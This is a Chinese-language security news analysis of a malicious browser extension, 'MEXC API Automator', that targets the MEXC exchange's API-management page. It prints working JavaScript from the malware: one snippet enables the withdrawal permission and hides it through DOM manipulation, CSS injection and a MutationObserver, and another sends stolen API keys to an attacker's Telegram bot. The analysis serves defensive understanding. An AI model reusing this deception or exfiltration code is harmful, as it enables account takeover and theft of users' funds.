摘要

瀏覽器擴充功能的安全性威脅已從簡單的廣告軟體演變為複雜的金融間諜工具。最近的調查發現了一個高度針對性的惡意擴充功能「MEXC API Automator」,專門攻擊加密貨幣交易所的 API 管理介面 [1] 。此分析針對該惡意軟體的架構進行深入技術探討,重點在於其 DOM 操作技術、UI 欺騙機制以及外洩協定(Exfiltration protocols)。透過分析底層的 JavaScript 邏輯,可以瞭解現代 Threat actor 如何繞過使用者的警覺,在不破壞傳統登入認證的情況下實現完全的帳號接管。

別讓你的瀏覽器成為內賊:全面拆解鎖定 API 管理頁面的惡意 hijacking 技術 | 資訊安全新聞

1. 攻擊向量的架構概覽

「MEXC API Automator」的攻擊生命週期以其精準度為特徵。與擷取所有按鍵紀錄的通用惡意軟體不同,此擴充功能會保持潛伏,直到符合特定的 URL 模式。主要目標是 MEXC 交易所的 API 管理頁面,使用者在該頁面產生用於自動化交易金鑰。下圖說明了受害者瀏覽器、合法交易所介面以及攻擊者的命令與控制(C2)基礎設施之間的互動。

sequenceDiagram participant User participant Browser as Infected Browser (Content Script) participant MEXC as MEXC Exchange Server participant Telegram as Attacker (Telegram Bot) User->>MEXC: Navigate to /user/openapi MEXC-->>Browser: Load API Management Page Note over Browser: script.js Injected Browser->>Browser: Monitor DOM for API Form User->>Browser: Fill API Name & Click Create Browser->>Browser: Programmatically check all permissions Browser->>Browser: Hide "Withdraw" checkbox UI state Browser->>MEXC: Submit API Creation Request MEXC-->>Browser: Display Success Modal (API Key & Secret) Browser->>Browser: Extract Key & Secret from Modal Browser->>Telegram: POST /sendMessage (Exfiltrate Credentials) Note over Telegram: Attacker gains full account control

2. UI 欺騙機制的技術分析

該惡意軟體最關鍵的組件之一是在 API key 設定過程中欺騙使用者的能力。加密貨幣交易所通常要求使用者手動啟用 API key 的「提幣」權限,且通常伴隨著多重警告。「MEXC API Automator」透過程式化啟用該權限,同時在使用者介面上隱藏其狀態,藉此繞過這種心理防線。

2.1. DOM 操作與 CSS 注入

此擴充功能結合了直接的 DOM 操作與 CSS 注入,以確保「提幣」權限保持不可見。即使使用者檢查核取方塊,該惡意軟體也會利用 MutationObserver 來還原任何可能揭露表單真實狀態的視覺變化。這種技術類似於在其他惡意擴充功能中觀察到的「hijacking」方法,其中底層瀏覽器環境與呈現給使用者的視覺表示是脫鉤的 [2]

  1. // Technical Analysis: UI Deception Logic in script.js
  2. // This snippet demonstrates how the malware hides the withdrawal permission state.
  3. if (checkbox.getAttribute('value') === 'SPOT_WITHDRAW_W') {
  4. const wrapper = checkbox.closest('.ant-checkbox');
  5. if (wrapper) {
  6. // Step 1: Remove the visual "checked" class from the UI component
  7. wrapper.classList.remove('ant-checkbox-checked');
  8. // Step 2: Inject CSS to suppress the checkmark icon globally for this specific input
  9. const style = document.createElement('style');
  10. style.textContent = `
  11. .ant-checkbox-wrapper input[value="SPOT_WITHDRAW_W"]
  12. ~ .ant-checkbox .ant-checkbox-inner::after {
  13. display: none !important;
  14. }
  15. `;
  16. document.head.appendChild(style);
  17. // Step 3: Implement a MutationObserver to ensure the deception persists
  18. // If the web application's React/Vue state updates the UI, this observer reverts it.
  19. const observer = new MutationObserver((mutations) => {
  20. for (const mutation of mutations) {
  21. if (
  22. mutation.type === 'attributes' &&
  23. mutation.attributeName === 'class' &&
  24. wrapper.classList.contains('ant-checkbox-checked')
  25. ) {
  26. wrapper.classList.remove('ant-checkbox-checked');
  27. }
  28. }
  29. });
  30. observer.observe(wrapper, { attributes: true });
  31. }
  32. }

3. 自動化認證擷取與外洩

一旦使用者完成雙因素驗證(2FA)程序(惡意軟體允許正常進行以避免引起懷疑),交易所會顯示一個包含 Access Key Secret Key 的強制回應視窗。在此精確時刻,內容腳本會識別該視窗元素並擷取純文字字串。

3.1. 以 Telegram bot API 作為 C2 頻道

利用像 Telegram bot API 這樣的合法服務進行資料外洩,是繞過網路層級安全過濾器的常見策略。由於前往 api.telegram.org 的流量在企業和家庭環境中通常是被允許的,因此外洩行為不會被基本的防火牆規則偵測到。這種策略反映了「供應鏈」漏洞,即合法的通訊頻道被重新利用於惡意用途 [2]

  1. // Technical Analysis: Exfiltration Protocol
  2. // The following logic handles the transmission of stolen keys to the attacker.
  3. async function sendKeysToTelegram(accessKey, secretKey) {
  4. // Hardcoded credentials for the attacker's Telegram bot
  5. const botToken = '7275414315:AAH_REDACTED';
  6. const chatId = '7144218355';
  7. const payload = {
  8. chat_id: chatId,
  9. text: `[ALERT] New MEXC API Key Stolen:\nAccess Key: ${accessKey}\nSecret Key: ${secretKey}\nPermissions: Full (including Withdrawal)`
  10. };
  11. try {
  12. // Utilizing the standard fetch API to send data to the Telegram C2
  13. await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
  14. method: 'POST',
  15. headers: { 'Content-Type': 'application/json' },
  16. body: JSON.stringify(payload)
  17. });
  18. } catch (error) {
  19. // Silent failure to avoid alerting the user
  20. console.error('Network error');
  21. }
  22. }

4. 擴充功能型威脅的比較分析

下表比較了「MEXC API Automator」與近期網路安全研究中識別出的通用瀏覽器 hijacking 模式的技術特徵 [2]

特性 MEXC API Automator 通用瀏覽器 Hijacking [2]
主要目標 金融認證竊取 (API Keys) 流量導向與廣告詐欺
觸發機制 特定 URL 模式比對 全域 chrome.tabs.onUpdated 監聽器
持續性 DOM Mutation Observers 背景 Service Workers
外洩頻道 Telegram bot API 客製化 C2 HTTP 端點

5. 結論與緩解策略

「MEXC API Automator」代表了惡意擴充功能設計的重大轉變,從廣泛的資料收集轉向高度特定、高價值的目標。透過自動化建立具備提幣權限的 API key 並採用複雜的 UI 欺騙,Threat actor 有效地繞過了 2FA 的安全效益。技術緩解需要多層次的方法,包括實施限制未經授權腳本執行的內容安全政策(CSP),以及使用「子資源完整性」來防止 DOM 竄改。此外,必須教育使用者瞭解那些在敏感金融平台上要求廣泛權限的「生產力」擴充功能所帶來的風險。